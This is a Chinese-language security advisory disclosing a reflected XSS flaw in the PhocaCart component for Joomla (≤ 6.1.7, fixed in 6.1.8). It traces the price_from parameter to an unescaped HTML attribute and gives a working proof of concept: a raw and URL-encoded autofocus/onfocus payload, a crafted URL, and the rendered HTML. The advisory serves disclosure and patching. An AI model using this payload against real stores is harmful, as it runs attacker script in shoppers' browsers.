PhocaCart ≤ 6.1.7 — 未认证攻击者可通过精心构造的价格过滤器 URL 注入任意 JavaScript
适用于 Joomla 的 PhocaCart 6.1.7 在安装并发布 mod_phocacart_filter 模块后,存在通过 price_from 和 price_to GET 参数触发的反射型跨站脚本(XSS)漏洞。这些参数使用 Joomla 的 'string' 输入过滤器进行处理,该过滤器仅应用 strip_tags() —— 而不会应用 htmlspecialchars()。原始值被直接回显到由 mod_phocacart_filter 模块渲染的价格过滤器表单中的 HTML value="" 属性中。
攻击者向受害者发送精心构造的 URL。当受害者加载该页面时,注入的事件处理器会在其浏览器中执行。无需任何身份验证。该攻击要求安装并发布 mod_phocacart_filter(一个单独分发的模块)。
| 组件 | 受影响 | 测试环境 | 已修复 |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
类型: 反射型 XSS(CWE-79)
所需身份验证: 无 —— 公开的商店前端
所需 CSRF 令牌: 否(GET 请求)
汇聚文件: site/layouts/form_filter_horizontal_text.php:65,71
Joomla 的 'string' 输入过滤器会调用 strip_tags() —— 它会移除 HTML 标签,但会保留诸如 ", ' 和 > 等 HTML 特殊字符且不进行编码。price_from 和 price_to GET 参数通过该过滤器获取,并存储在 $data['getparams'] 中。模板文件直接将这些值回显到 value="" 属性中,而不调用 htmlspecialchars(),从而导致属性上下文注入。
数据流 —— 从源头到汇聚点:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 —— 漏洞汇聚点
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
相同的汇聚点模式也存在于 form_filter_text.php:81,87(垂直布局变体)中。price_from 和 price_to 参数同样存在漏洞。
攻击者构造一个针对商店商品视图的 URL,并将事件处理器载荷注入到 price_from 参数中。该载荷可突破 value="" 属性上下文。
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
当受害者打开精心构造的 URL 时,商店商品页面会渲染价格过滤器表单。注入的属性会出现在 <input> 元素中。使用 autofocus onfocus 载荷,JavaScript 会在页面加载时立即执行,无需任何进一步用户交互。
渲染后的 HTML(存在漏洞):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

XSS 在受害者浏览器中触发 —— alert(document.domain) 确认了商店前端的执行上下文